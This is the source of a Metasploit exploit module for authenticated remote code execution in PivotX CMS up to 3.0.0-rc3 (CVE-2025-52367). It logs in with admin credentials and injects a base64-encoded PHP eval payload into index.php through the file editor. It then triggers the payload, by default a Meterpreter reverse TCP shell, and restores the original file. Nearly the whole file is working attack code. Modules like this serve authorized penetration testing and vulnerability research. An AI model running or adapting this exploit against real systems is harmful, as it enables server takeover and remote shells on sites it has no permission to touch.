157 lines
5.9 KiB
Ruby
157 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
|
|
|
include Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'PivotX Remote Code Execution',
|
|
'Description' => %q{
|
|
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'HayToN', # security research
|
|
'msutovsky-r7' # module dev
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '52361' ],
|
|
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
|
|
[ 'CVE', '2025-52367']
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP
|
|
}
|
|
]
|
|
],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
|
|
'DisclosureDate' => '2025-07-10',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
|
|
OptString.new('PASSWORD', [true, 'PivotX password', '']),
|
|
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
|
|
})
|
|
|
|
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
|
|
|
|
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
|
|
|
|
html_body = res.get_html_document
|
|
|
|
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
|
|
|
|
version = Rex::Version.new(Regexp.last_match(1))
|
|
|
|
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
|
|
|
|
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
|
|
end
|
|
|
|
def login
|
|
data_post = Rex::MIME::Message.new
|
|
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
|
|
data_post.add_part('', nil, nil, %(form-data; name="template"))
|
|
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
|
|
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
|
|
'vars_get' => { 'page' => 'login' },
|
|
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
|
|
'data' => data_post.to_s,
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
fail_with(Failure::NoAccess, 'Login failed, probably incorrect credentials') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
|
|
|
|
@csrf_token = Regexp.last_match(1)
|
|
end
|
|
|
|
def modify_file
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
|
|
'vars_get' => { 'page' => 'homeexplore' }
|
|
})
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
|
|
|
|
@base_dir = Regexp.last_match(1)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
|
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
|
|
})
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
|
|
|
|
@original_value = res.get_html_document.at('textarea')&.text
|
|
|
|
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
|
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
|
|
})
|
|
|
|
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
|
|
end
|
|
|
|
def trigger_payload
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php')
|
|
})
|
|
end
|
|
|
|
def restore
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
|
|
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
|
|
})
|
|
vprint_status('Restoring original content')
|
|
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
|
|
end
|
|
|
|
def exploit
|
|
vprint_status('Logging in PivotX')
|
|
login
|
|
vprint_status('Modifying file and injecting payload')
|
|
modify_file
|
|
vprint_status('Triggering payload')
|
|
trigger_payload
|
|
restore
|
|
end
|
|
end
|